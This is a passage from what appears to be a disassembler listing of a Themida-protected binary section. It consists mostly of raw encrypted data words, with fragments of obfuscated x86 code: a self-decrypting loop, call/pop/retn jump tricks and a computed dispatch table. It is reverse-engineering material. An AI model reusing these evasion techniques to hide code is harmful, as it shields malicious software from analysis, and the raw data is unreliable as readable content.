3E85000h, 20000000h, 8958C358h, 81042444h dd 19042444h, 40000000h, 77FDC350h, 4E005C4Bh, 0FE9h, 0D466CB00h dd 16E0EE02h, 0A1DE0F42h, 0C56EFF2Eh, 95FF006Ah, 6152E21h dd 7CEBC08Bh, 46F8532h, 4557F24Ah, 0C62586A9h, 0C4E7F331h dd 65A665D7h, 60B981CFh, 66A6C458h, 26919CD9h, 9A6FBB3Bh dd 6614F5CCh, 0D5470CEFh, 54019261h, 3EE50CF5h, 0EE0B307Dh dd 0E4672A0Fh, 9220841Bh, 0CECD578Ah, 0AD5DF18Eh, 9A42E3C0h dd 69AA961h, 66B2AB22h, 95F45BADh, 22265617h, 0E2D0700Bh dd 0D7DFDFBh, 5748EFA2h, 85E7DA3Bh, 95CA4382h, 243FCA0Dh dd 0C5EC7629h, 79B36AC2h, 0BE8h, 106D5C00h, 0F7903C0Fh dd 113451D5h, 24858589h, 15F0615h, 15054D9Dh, 2C78106h dd 6600005Fh, 0BB0369BAh, 0 dd 0FE8h, 29646700h, 79440BB6h, 0CEAA37B5h, 92CD73ADh dd 5E9h, 0FE2A5400h, 0FF5A4E82h, 0F513B34h, 685h, 8F0F00h dd 59000000h, 1F870F58h, 0E8000000h, 13h, 673CD488h, 2D7DDD96h dd 0FC2A62AEh, 6AF8B8B7h, 89B68491h, 15193595h, 0C0815906h dd 6FDC0E72h, 2CF9BD29h, 0E8810615h, 6CAC82CDh, 811EE680h dd 1F3BBBC0h, 0D38B664Eh, 0E1816650h, 48F0FA0h, 7E91Fh dd 0D2960000h, 0CF0227F7h, 0EB83F564h, 0AE804h, 736E0000h dd 3B5FD3C4h, 9BDEE982h, 1175B529h, 815A0615h, 0FFA200FBh dd 1A850FFFh, 89000000h, 1512D585h, 25E906h, 5FB0000h dd 58555F6Dh, 0CD2A3DA3h, 8329CB63h, 0A0A3B953h, 4CE95A8Eh dd 7EFFFFFFh, 0F0522747h, 382C95A3h, 0E8110AA5h, 0Ch, 0CE4CCFFAh dd 0E83E56BFh, 12F9581Bh, 8820F58h, 0F000000h, 28Bh, 81616000h dd 6246C0h, 0D6BF0F00h, 186C68h, 0C3816600h, 15F89D6h dd 1502A5BDh, 3130FF06h, 151CB18Dh, 0F08B5906h, 346AC181h dd 0B70F550Fh, 0F6E981D2h, 8B7AD5C1h, 1523959Dh, 7DF18106h dd 0B21C0726h, 9D8B5181h, 6150AC1h, 9D0B008Fh, 6152351h dd 0F04E883h, 684h, 71B50300h, 83061519h, 850F01EFh, 0FFFFFFB1h dd 6840F60h, 81000000h, 4E0DEF6h, 8B66607Eh, 0DE8B66C3h dd 8D8D6161h, 61BF415h, 16C58589h, 8D890615h, 6152721h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 36C35343h dd 30D8131Dh, 55BEE1DCh, 0F36A5B0h, 1582h, 10E900h, 504B0000h dd 0C4BC784h, 0E13D7863h, 73436134h, 85C7630Bh, 61504CDh dd 58D8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 19h, 7AC35646h, 0DB287848h, 1585C7D6h, 61511h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 115DC355h, 0A4F320EBh, 2890F52h, 60000000h dd 0B5FF5A61h, 61533A9h, 0FFD3BF0Fh, 1502C995h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h dd 9E786E88h, 0CA4149BDh, 0FF006A5Bh, 152E2195h, 0EBC08B06h dd 6F6A364Fh, 711C1213h, 8D769851h, 71BA815Eh, 0C211A2E7h dd 14E0BC3Eh, 0C44F0063h, 38E924FFh, 0B2E0EAF8h, 486B771Dh dd 1FA41463h, 0BAD566AAh, 0D6BF4E6Dh, 48B20D0Dh, 0F0ABB8A0h dd 5EBA8C62h, 1A553150h, 8F768AABh, 61BBE5F3h, 0C2C81B78h dd 0CE8h, 97871F00h, 248B9729h, 0A2782235h, 0CE92Ch, 766A0000h dd 729E47AFh, 4AED4794h, 8B5B4541h, 1528E18Dh, 0ACC38106h dd 0E9000065h, 6, 301D95DAh, 2E68036Bh, 8A000019h, 0F605AE7h dd 381h, 5BE28000h, 0F3B8B61h, 384h, 0F38B6600h, 7BA7C781h dd 8D894528h, 6151DC1h, 0E32DF781h, 8B661E7Eh, 60F781CEh dd 8B1617C0h, 1525E585h, 8D8B5706h, 6150A6Dh, 0F080038Fh dd 0F2EB81CCh, 0E81E1C19h, 12h, 0BFAC290Ah, 6C360164h dd 0AA260EBBh, 64F81297h, 81661398h, 5EDEA1CEh, 19EEC381h dd 9E91E1Ch, 0FC000000h, 0AD2BE909h, 2576E00Eh, 1EA81h dd 850F0000h, 1Fh, 2E1D8D89h, 2AE90615h, 3B000000h, 370A1B02h dd 63D14819h, 0B69423EFh, 9A1317C8h, 8B80BFA8h, 15111985h dd 0FF5BE906h, 8DDDFFFFh, 1FFB3433h, 0EC0373BBh, 8E820h dd 0EB480000h, 0CFB3A0C9h, 0FB8B1FEFh, 3FD38058h, 5BF5C081h dd 9D8B0000h, 615254Dh, 810FD233h, 5, 0E1B83FB9h, 234FF4Dh dd 5EFEBF0Fh, 12ADBD8Bh, 0C6810615h, 2167BA2Ch, 2D1D8D8Bh dd 0F6810615h, 2FDE97AAh, 0F681CE8Bh, 4CC6A255h, 89C88B66h dd 81601034h, 2B48B6F1h, 0A595892Dh, 61061506h, 0D0D18166h dd 4EA835Ch, 16D5BD89h, 0FA810615h, 0FFFFA4B4h, 1A850Fh dd 0E9FC0000h, 2Bh, 0B50FFF15h, 7723C0EDh, 9D9C85A1h, 0AF356B82h dd 0FDB3AE4Ch, 24CDBD8Bh, 86E90615h, 0FDFFFFFFh, 22AC3641h dd 0B1337849h, 826962E7h, 889A075h, 0DC781469h, 6BDB8DA6h dd 2E863630h, 908635A1h, 4813D925h, 99053025h, 14933040h dd 81023F25h, 7863025h, 57A69998h, 0A5893023h, 9086305Eh dd 4143B5E3h, 4CC83630h, 5AD4CF0Dh, 11A234A4h, 7BD9DFFDh dd 57865590h, 9D03BD23h, 6F802857h, 8E76BBF5h, 318FF5A0h dd 166E7E23h, 49863025h, 0D42E72F2h, 46A274AEh, 650F30AEh dd 6FDE3401h, 5DA69990h, 9803BD23h, 0ED802857h, 0B07EBBF5h dd 84863035h, 428638CCh, 0A4899625h, 9086302Bh, 474F3B6Ch dd 0DB79C0A0h, 128BD9DAh, 940B3025h, 82937FBBh, 4286359Dh dd 0AC65CF25h, 8B702898h, 960BBD23h, 9C802BD3h, 94B61537h dd 8247FF0Eh, 889A075h, 0DC781469h, 6BDB8DA6h, 2E863630h dd 908635A1h, 4813D925h, 99053025h, 5E98340h, 22B9A4F3h dd 0E8000000h, 8, 0FC20CE27h, 0F04D2C5h, 8B525EF8h, 150C758Dh dd 0C6815906h, 5F6Ah, 86013EB9h, 0FA6AB83Ch, 0C0817FCFh dd 80301D46h, 8C0CE781h, 36FF53D0h, 9E85Bh, 224A0000h dd 504AB207h, 8B43A1CDh, 151C8D95h, 0EB815906h, 11F38843h dd 4C6EEB81h, 8B500B84h, 0EB8159CBh, 4E874281h, 2D698D8Bh dd 89530615h, 1507A58Dh, 0E8068F06h, 5, 0FDBB11CDh, 0F58D8BBDh dd 59061516h, 0F363EE81h, 0DE95DC5h, 0F5000000h, 0CB5798E8h dd 905E7ACDh, 92983D99h, 0F35FC681h, 1CB25DC5h, 1E881h dd 850F0000h, 0FFFFFF86h, 0A583D781h, 9E940EDh, 14000000h dd 4CBCE4h, 0 ; --------------------------------------------------------------------------- jmp loc_5E99DF ; --------------------------------------------------------------------------- db 0EEh, 90h, 20h dd 0EB5BDE55h, 2898150Ah, 0E252D64Dh, 2E9E1C13h, 685B5047h dd 24FB9A0Ah, 6DC253C3h, 29F69F0Fh, 8BB5ACAh, 55A7F46h dd 6021169Dh, 0F296B6DCh, 69CA1086h, 0EA8E1CF9h, 6121A4BAh dd 0FC169C21h, 9A1E132Bh, 7713EC2Ah, 0D646A4BDh, 3293F03Fh dd 93C24E93h, 331C2D16h, 34A4062Bh, 2494F102h, 58321DF2h dd 0F666C5DEh, 3CBDF6E8h, 0C23059CCh, 0EABB1693h, 0DDD949A9h dd 6D0C0AE0h, 3ABEF3E9h, 0C2365BCAh, 0E4B51693h, 0A3248B06h dd 0A6169420h, 0E5B09F70h, 0BD4A6DD0h, 42F39Dh, 24C70000h dd 2B8856C6h, 6D6254C4h, 0B951C126h, 9404667Bh, 0FFAEE7A2h dd 1BFA6AC8h, 0A81E2386h, 1EA997h, 247D0000h, 0E56056C6h dd 1086F2B9h, 4C7B62CFh, 19977EEEh, 2Dh, 30A0220Fh, 0B9610906h dd 6056C624h, 86F2BEE5h, 0DF4FB010h, 0F767CAD7h, 2366DDBFh dd 0CA1086F2h, 6D60C7F9h, 7568D176h, 0F580F052h, 0DB0BAB47h dd 0EBFCD903h, 1695BA70h, 4E93320Ch, 2D1086DCh, 0F74F6E1Ch dd 86169C0Fh, 157081B5h, 0E263D0A5h, 2B64472h, 9DCB0CD2h dd 0CCE52C65h, 20ADF44Fh, 7F501693h, 0BAA4BA50h, 8F87F779h dd 86F675BEh, 20C5B9E4h, 0B788108Eh, 0AA15847Fh, 2889EB48h dd 0AC20749Dh, 926F71Ch, 0D95A300Dh, 1A09EC5Ch, 88EB2B9Bh dd 1CAC2031h, 0DED848AFh, 0C4F262C5h, 0C91AC52Ch, 4A7D30D7h dd 8E9A7BEBh, 73E3624Fh, 32622197h, 2443270Ah, 866557C7h dd 2673A6A2h, 2EB968A8h, 0CD000000h, 0BCE010ABh, 0E0A864Fh dd 2B1794ABh, 346FD3Fh, 0EA1086C1h, 8D4FE3D9h, 45EDA848h dd 0AE06C45h, 59C92412h, 0B5725663h, 41h, 0E3624FD1h, 4A65D557h dd 2197734Ch, 22921662h, 97181BF4h, 4F140827h, 86F2ADF4h dd 0EDF1DE10h, 55D763C4h, 0F3DCB1E5h, 0FC20CAC3h, 0C4248D4Fh dd 96BB8A54h, 551086F2h, 246EA644h, 566359C9h, 57C72472h dd 732FE45Fh, 179E108Bh, 2C9C1FA8h, 4DAC0549h, 0E2D444C1h dd 0EB28C2EDh, 121F1787h, 0B35640B0h, 76F4D3FAh, 0C6EB6F06h dd 9716F464h, 97AC9B12h, 329Ah, 8D4F6E00h, 86F293B6h, 0FF6FCD10h dd 2D5AC6B7h, 625B5BCBh, 0F6C9D4Dh, 6D11979Fh, 0B110213Dh dd 3093A941h, 169C0920h, 0D64A4C5Dh, 467604Fh, 4F3B0194h dd 4571E162h, 1271A248h, 37BB9CA2h, 0C8DE76B5h, 331913F7h dd 0D0979FEh, 0A0605A30h, 4669D954h, 46B63B78h, 0F3392A4h dd 2E169CE7h, 0E470992Ch, 2AFB1690h, 40C37005h, 595FE6D0h dd 0D092EF4Ah, 0D242A50Eh, 0A44E8138h, 0CFBB2B8Fh, 0A471E162h dd 0F821A4BAh, 839A0E72h, 0F019ACB2h, 7B9A0E72h, 0F053C0AAh dd 0D3F6CD8Fh, 9A9A0E72h, 72F51C89h, 8B789A0Eh, 8D82B424h dd 1F898DA2h, 0B40F2F5Fh, 9C1373ACh, 735C0D1h, 54EF10ABh dd 1086F20Dh, 0CCF0DFF0h, 6DDD624Fh, 0B9E06329h, 441086F2h dd 80AE5C73h, 57C7247Ch, 0A6A28665h, 68A82673h, 173A09D3h dd 0D61386F2h, 41F525C5h, 11000000h, 0BCE010ABh, 0F2ADF44Fh dd 7F501086h, 6B7C765Fh, 0B60B2F5Dh, 624F60D4h, 4A4373E3h dd 249E9EA0h, 4F6359C9h, 6B1A4A86h, 12F879A9h, 47AA0753h dd 0A5EEDFD7h, 0E1DED848h, 2EB51109h, 0D1000000h, 0BCE010ABh dd 0F2ADF44Fh, 0D5DE1086h, 0F363C652h, 0D2E5CAC3h, 1F0CFDEDh dd 9389A698h, 864F6B4Fh, 3F8DB82Ch, 0E724C63Dh, 56261686h dd 0E1624F72h, 1B989971h, 90A16BABh, 7A29C131h, 108B73C5h dd 5C2ED74h, 0D05F36A6h, 1F140272h, 4CEB2B9Bh, 0ED4D7A65h dd 0A00D987Dh, 2897AC9Bh, 3Eh, 57C72404h, 0F525D95Fh, 65E5AE9h dd 0CEDF169Ch, 0CE3EC3F0h, 8001F21Ch, 0AF0D2610h, 5940F73Fh dd 0D1B37D66h, 0E611380Bh, 3A731693h, 45ECA17Fh, 0B081987h dd 5B5634A4h, 80F05374h, 0C72447F5h, 25D95F57h, 4E5AE9F5h dd 0CF169C09h, 0FE3317FEh, 0BB5F0B7Bh, 0DEE010ABh, 4E475FF9h dd 9377F66Eh, 248D4F9Fh, 0A5EC59C9h, 481086F2h, 50C03C77h dd 93816966h, 9A0A68C9h, 53C7A39Ch, 0DF66C724h, 1086F2BAh dd 5D5F7041h, 73A6A286h, 0B968A826h, 2Ah, 0E010ABCDh, 0DE624FBCh dd 0BBA7C6Eh, 1086F2C6h, 4FA894A5h, 59C9246Bh, 0B5725663h dd 4Ah, 6A1FE2F3h, 3F8DA69Eh, 624FE74Bh, 0ACE778E0h, 0E3754AC6h dd 15F5CACCh, 8CB0E09Bh, 0F2ADF44Fh, 0C5EE1086h, 0CEBFF767h dd 242D0A1Ch, 0F889873Ah, 4F0D0F20h, 53C3248Dh, 9575E560h dd 61C9249Dh, 788D296Eh, 0F02C0364h, 624F7256h, 0EA6479E1h dd 0EFCFB847h, 0DEF9D6C0h, 918FAB1Eh, 0D1422833h, 0F73C0272h dd 3D120474h, 0AF64DF4Dh, 1E108B0Eh, 1C9F2897h, 0D95AC9ACh dd 3C7AEA4Dh, 0C02A6C43h, 0D00ED000h, 0C12370Eh, 0C8D91082h dd 0DB838322h, 0C9D21698h, 0EABC1711h, 791C3331h, 0E010ABB3h dd 244327BCh, 866557C7h, 2673A6A2h, 3DB968A8h, 0CD000000h dd 0BCE010ABh, 0F2ADF44Fh, 7F501086h, 246B4F3Dh, 4BBB3DC9h dd 5F5D724Bh, 8D4F7256h, 86F293B6h, 0A1495A10h, 3501h dd 9E253700h, 1086F27Bh, 0F2FC25A0h, 0AE7F1086h, 0D14921F2h dd 0DEE010ABh, 4E656D5h, 0ADF44F10h, 0DE1086F2h, 6B4FCBF1h dd 6DDD624Fh, 0B852C226h, 928AFA7Bh, 0C7247256h, 0FA4E8757h dd 1282E709h, 970C2B24h, 87AC361Bh, 0B46D290Dh, 0BE45EF9Bh dd 108B2B09h, 4500DEC0h, 1082281Ch, 751CCEDFh, 8EFE7D4Ah dd 4BBB38E7h, 0E85B814Bh, 108228A1h, 298F7B4Ch, 0AA192555h dd 169F22E6h, 0AA1A9A87h, 0D9BC936Ch, 50C03C75h, 99816966h dd 0BCE010ABh, 0C7244327h, 0A2866557h, 0A82673A6h, 2FB968h dd 0E6EF0000h, 5CE67AC7h, 7DB55528h, 0BCE010ABh, 0F44F8D4Fh dd 1086F2ADh, 308B7F50h, 1086F2E9h, 4F998394h, 59C9246Bh dd 0B5725663h, 37h, 0E010ABD1h, 0E2624FBCh, 66506572h dd 9C900553h, 0B4DD68EEh, 0D510866Fh, 0D8EAB100h, 0D2ABEB5Bh dd 5A364305h, 8BB19EB0h, 6DDD624Fh, 0A0B65429h, 59C9249Ch dd 24725663h, 0D95F57C7h, 0ECE9F525h, 9D333892h, 56349Ah dd 9C82B145h, 0D1574416h, 916F5661h, 0DCEB458Eh, 0FB3822F3h dd 2C660474h, 0C3825C8Ch, 10B73B46h, 69B01315h, 871CB738h dd 3A0BB525h, 0CFF991Dh, 0AA851AF8h, 84F4776Ch, 89F979BAh dd 1E9D92E1h, 0F66F57B6h, 0A7888631h, 2DD0146Fh, 0E95571Fh dd 0BB82539Fh, 0DCBF02E1h, 0CF3FBDF6h, 1714F6C7h, 0E2512494h dd 0ACC5F161h, 0DBDADC4Ch, 0E744832Ah, 77BC9E77h, 0BA9383F3h dd 70E063D0h, 1CBE46h, 0E2FC0000h, 5E1B3E63h, 0FEECBD46h dd 446D2F16h, 4F3D79E9h, 86F2ADF4h, 507F5010h, 0CA2482BAh dd 0E4475C5Ah, 0D3314274h, 0B93E3363h, 0D6544D49h, 0BF433066h dd 0D65A474Fh, 0C2433066h, 0EA4F6452h, 52783C7Ah, 0C281E289h dd 4, 8704EA83h, 248B2414h, 7CE26824h, 1C890000h, 1F0B6824h dd 0C890000h, 0CE685024h, 584C631Ah, 0AD1DF435h, 11BE5606h dd 0C1200C2Bh, 0F68104E6h, 34C53AADh, 0DEF7DEF7h, 0E107C681h dd 0F0210A21h, 0C362D5Eh, 0C38903ECh, 0C8B5458h, 4C48124h dd 53000000h, 1B1BB951h, 4C010F99h, 8F590424h, 69810841h dd 991B1B08h, 240C8B0Fh, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0FF5C243Ch, 815B2434h, 4C4h, 7EACE900h, 0CB67FFF9h dd 37B2C23Dh ; --------------------------------------------------------------------------- rcl eax, 1 pop ebp loc_5E99DF: ; CODE XREF: Themida_:005E91F4j mov eax, 61BFF10h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 200CEFEEh, 562F7D3Eh, 687A83B0h, 45A0BDF4h, 45C1FD68h dd 7BAADFAEh, 11CFB437h, 5C5A3DDh, 4D49E454h, 541D14A1h dd 390E3844h, 2E3CAA2Fh, 6CAA5234h, 13E8h, 58283F00h, 426E927Ch dd 78817F7h, 0C51083F8h, 0D91AF36Eh, 0BA5BC68Bh, 34B77E18h dd 69A7C381h, 0F500000h, 480h, 3BB86600h, 39BF58AAh, 8B00001Ah dd 0AE80Bh, 0F6CE0000h, 48EA90F9h, 0E37C9C8h, 0AE952h dd 0E3F50000h, 0B44B2F21h, 518137E2h, 0F181585Ah, 69257C4Eh dd 0C18156B4h, 7B30665h, 5AF28166h, 27C18124h, 661D4C6Fh dd 8051D38Bh, 38F82DEh, 0EB83F78Bh, 0F0B70F04h, 0F01EF83h dd 2485h, 6E900h, 0C59D0000h, 807B6D69h, 2FE9h, 2375AC00h dd 5E42BFDAh, 0EFC26868h, 0CC19C368h, 2F6F3602h, 324FBE69h dd 7CE9069Ch, 41FFFFFFh, 84922217h, 46CE7579h, 1A98625h dd 5B2AFB81h, 1638D8Dh, 8B66061Ch, 0D850FC6h, 0E9000000h dd 8, 395C3247h, 0A2228744h, 27218D89h, 0BD230615h, 6153399h dd 4CD85C7h, 6EE40615h, 0DE810000h, 3F46B226h, 111585C7h dd 615h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 170424h, 53430000h, 5F6EB9C3h, 25B5896Ch, 0FF061529h dd 153375B5h, 81853306h, 0FF061527h, 1502C995h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h dd 5EFD2218h, 0D5EB24B1h, 8166E0EDh, 6AD667CAh, 2195FF00h dd 8B06152Eh, 0EA0AEBC0h, 0C8264CA7h, 7AFED267h, 878D8D61h dd 6A061C02h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 5D37C357h, 0E97DB603h, 12h, 1A3BC6Fh dd 0F42AAAFBh, 0E0C0341Ah, 47351328h, 8D89B124h, 6152721h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 45C35343h dd 0ACADB1D9h, 5890F43h, 66000000h, 1E33C281h, 0C6D9D8Bh dd 85C70615h, 61504CDh, 6BA0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 0B0C35545h, 15DDB509h, 0BD890615h dd 6152509h, 111585C7h, 615h, 0B5890000h, 6150401h, 10F1B5FFh dd 6A0615h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h dd 56460000h, 0D76D4DC3h, 7CE4EA94h, 95FFF9FEh, 61502C9h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0FFC35242h dd 4840F35h, 66000000h, 6A68F9BEh, 2195FF00h, 8B06152Eh dd 1878EBC0h, 46FC4B57h, 0ACA562CBh, 0CDD457FBh, 20EB115Dh dd 5FCCA4F3h, 7567713Ah, 6645D2ECh, 0BD08A6FEh, 0B4DA5603h dd 328FCFD3h, 0A3728794h, 0B510931Fh, 4B2E3588h, 92A377C5h dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 0D0046D68h, 0E325956h dd 0F2A20EFFh, 9FF4757Fh, 8A31DF0Bh, 0F0437034h, 0DE5D28EAh dd 0F14F7327h, 7936542Ch, 52DBE427h, 9634E09Ch, 67C918BCh dd 0E88CEB9Dh, 10h, 831238B3h, 0B95B6032h, 571E30AAh, 0C83C2701h dd 5EC78B66h, 0B723F081h, 0C68132D7h, 6107h, 68BBB3h, 8B000000h dd 0FC535FC7h, 3E0C8B5Bh, 0D4DB8166h, 0CBF1813Dh, 0B4E97C5h dd 151D7185h, 3DF18106h, 8928F787h, 15172D95h, 0C2F18106h dd 0F591C12h, 684h, 35858B00h, 51061529h, 0C140DA81h, 48F1FF7h dd 1595893Eh, 89061503h, 1519F195h, 0A0EF8106h, 92A29FAh dd 1512ADB5h, 9CC78106h, 0B2A29FAh, 15199995h, 94FF8106h dd 0FFFFF9Fh, 0FFFF9485h, 318D89FFh, 8D061527h, 1C04928Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h dd 0C3524200h, 96059A6Eh, 14E8A3h, 47690000h, 0BCA9EB68h dd 6CD588D5h, 825A1560h, 0B67AF512h, 0BB660226h, 895EFA96h dd 1527218Dh, 0EB816606h, 85C7585Ch, 61504CDh, 728Ch, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 3BC35040h, 0FB78C1D4h dd 19BD8B93h, 0C7061523h, 15111585h, 6, 53006A00h, 3E8h dd 0C35B2000h, 245C895Bh, 24448104h, 1404h, 0C3534300h dd 13E8E0h, 98920000h, 4A82E201h, 82E8BF80h, 4AE2F908h dd 0A5D1D2E0h, 0A19D8B19h, 5B061509h, 1D45B5FFh, 95010615h dd 6150219h, 2C995FFh, 7E90615h, 4C000000h, 6CA23863h dd 6ADA87h, 2E2195FFh, 0C08B0615h, 90F70BEBh, 0E7B292F8h dd 0AF37A02Dh, 688D8D7Eh, 8B061C05h, 152C9185h, 218D8906h dd 60061527h, 79858B60h, 0E9061529h, 0Ch, 3106CBDAh, 0F2923833h dd 30933F8Fh, 0CEB70F61h, 0CD85C761h, 0D8061504h, 6A000064h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h dd 43000000h, 0D06BC353h, 111585C7h, 615h, 6A0000h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 83BA4BC3h, 37C2E05Ah, 1365C61h, 150C35BDh, 95B5FF06h dd 89061505h, 1519AD8Dh, 0C995FF06h, 6A061502h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h dd 7DF5C350h, 25FBEA75h, 95FF006Ah db 21h, 2Eh, 15h ; --------------------------------------------------------------------------- loc_5E9F97: ; DATA XREF: Themida_:0057B3DCo push es mov eax, eax jmp short loc_5EA006 ; --------------------------------------------------------------------------- dd 0EA890D1Ah, 3F8A8A07h, 705A73E4h, 195DC509h, 61B42056h dd 0FDEDA0C3h, 3C0489CFh, 9F6178B7h, 434371DEh, 9FB1BB15h dd 9FD50D2Eh, 0F3478A22h, 59AD0CBDh, 349D069Fh, 11FF97BDh dd 864EE295h, 941881CCh, 4011D0D5h, 0A7ADBA15h, 0FE8FCB49h dd 9C22F12Dh, 61A7ED0h, 7B3D7AA2h, 0BE845930h, 0C5EFD5DDh dd 6620D8A3h db 0A3h, 73h ; --------------------------------------------------------------------------- loc_5EA006: ; CODE XREF: Themida_:005E9F9Aj call sub_5EA013 stosd in eax, dx xchg ax, si ; --------------------------------------------------------------------------- db 8Eh db 89h, 0D5h, 0F3h ; =============== S U B R O U T I N E ======================================= sub_5EA013 proc near ; CODE XREF: Themida_:loc_5EA006p or [ebp+6152F61h], ecx pop eax clc add eax, 7105h mov ecx, esi mov edi, 558371D9h sub edi, 558355B3h sbb cx, 1A84h loc_5EA033: ; CODE XREF: sub_5EA013+59j mov esi, [eax] movsx edx, bx sub esi, 582B7A40h mov [ebp+61508F1h], edi xor esi, 258FF60Fh mov [ebp+61522D9h], eax add esi, 23EEAECh mov [eax], esi mov [ebp+6150331h], ecx sub eax, 4 jmp loc_5EA06B ; --------------------------------------------------------------------------- mov ebp, 24C466FBh loc_5EA06B: ; CODE XREF: sub_5EA013+4Ej dec edi jnz loc_5EA033 jmp loc_5EA07C ; --------------------------------------------------------------------------- db 29h dd 86049BAh ; --------------------------------------------------------------------------- loc_5EA07C: ; CODE XREF: sub_5EA013+5Fj ; DATA XREF: Themida_:0057BD08o lea ecx, [ebp+61C0737h] push 0 push ecx call sub_5EA08D and [ecx-3Dh], bl sub_5EA013 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5EA08D proc near ; CODE XREF: sub_5EA013+72p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 15h inc ecx push ecx retn sub_5EA08D endp ; --------------------------------------------------------------------------- inc ebp aas xor di, 44CCh mov [ebp+6152721h], ecx jmp loc_5EA0C0 ; --------------------------------------------------------------------------- db 68h dd 7017AF46h, 0BF1CA08Ch, 0B5A9B294h, 6E467967h ; --------------------------------------------------------------------------- loc_5EA0C0: ; CODE XREF: Themida_:005EA0AAj mov dword ptr [ebp+61504CDh], 5808h push 0 push ebx call sub_5EA0D5 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EA0D5 proc near ; CODE XREF: Themida_:005EA0CDp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_5EA0D5 endp ; --------------------------------------------------------------------------- db 16h, 7Bh, 0D3h dd 29E8ACA4h, 1504DD8Dh, 1585C706h, 61511h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0C4DBC353h, 22710FFBh, 0C840F1Ch, 0F000000h dd 680h, 49EF8100h, 0FF0CCD37h, 152921B5h, 0CE96006h, 9000000h dd 2D9A06C2h, 0B2993FD5h, 230C8C7Ch, 150CC195h, 95FF6106h dd 61502C9h, 7864CDBEh, 3D95890Fh, 6A061502h, 2195FF00h dd 8B06152Eh, 844DEBC0h, 9030BC6Eh, 56D8895Bh, 0F9F5891h dd 313D4855h, 72202418h, 5D75AEB6h, 6C54F2C9h, 67A53FD1h dd 774B10A9h, 0CDF8E159h, 68F324B9h, 42BDAA7h, 0F5B82A86h dd 72D8F588h, 6B05611Eh, 0F878F846h, 369F09AAh, 323DFB22h dd 6455036Ah, 15FE9h db 0 ; =============== S U B R O U T I N E ======================================= sub_5EA1BD proc near ; CODE XREF: sub_406890+12Cp ; sub_409BC0+1Dp ... push edx mov edx, esp pusha call $+5 pop ebp sub ebp, 61C0797h mov eax, [edx+8] cmp eax, 78263845h jnz loc_5EA313 mov eax, [edx+0Ch] mov ecx, [edx+18h] ror eax, cl mov ebx, 71B167A6h xor eax, ebx sub eax, 4 mov [ebp+6152721h], eax mov ebx, [eax+4] mov edi, eax mov eax, [edx+10h] mov ecx, [edx+18h] ror eax, cl mov esi, 0D9248B32h xor eax, esi sub eax, edi and eax, 0FFFFFFFCh sub eax, 4 mov [ebp+61504CDh], eax mov eax, [edx+14h] mov [ebp+6151115h], eax mov eax, [edx+18h] push ebx jmp loc_5EA2D7 ; --------------------------------------------------------------------------- push dword ptr [ebp+6151D45h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152F59h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152E0Dh] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6150595h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152D19h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+61510F1h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+61533EDh] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+61502B5h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+61523E1h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152921h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152339h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6153375h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6150009h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152CBDh] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+6152A49h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- push dword ptr [ebp+61533A9h] jmp loc_5EA2EB ; --------------------------------------------------------------------------- loc_5EA2D7: ; CODE XREF: sub_5EA1BD+65j mov ebx, eax mov eax, 0Bh mul bx lea ecx, [ebp+61C07F8h] add ecx, eax jmp ecx ; --------------------------------------------------------------------------- loc_5EA2EB: ; CODE XREF: sub_5EA1BD+70j ; sub_5EA1BD+7Bj ... call dword ptr [ebp+61502C9h] pop ebx loc_5EA2F2: ; CODE XREF: sub_5EA1BD+14Ej mov eax, [ebp+6152721h] cmp [eax+4], ebx jnz loc_5EA310 push ebx push 1 call dword ptr [ebp+6152E21h] pop ebx jmp loc_5EA2F2 ; --------------------------------------------------------------------------- loc_5EA310: ; CODE XREF: sub_5EA1BD+13Ej popa pop edx retn ; --------------------------------------------------------------------------- loc_5EA313: ; 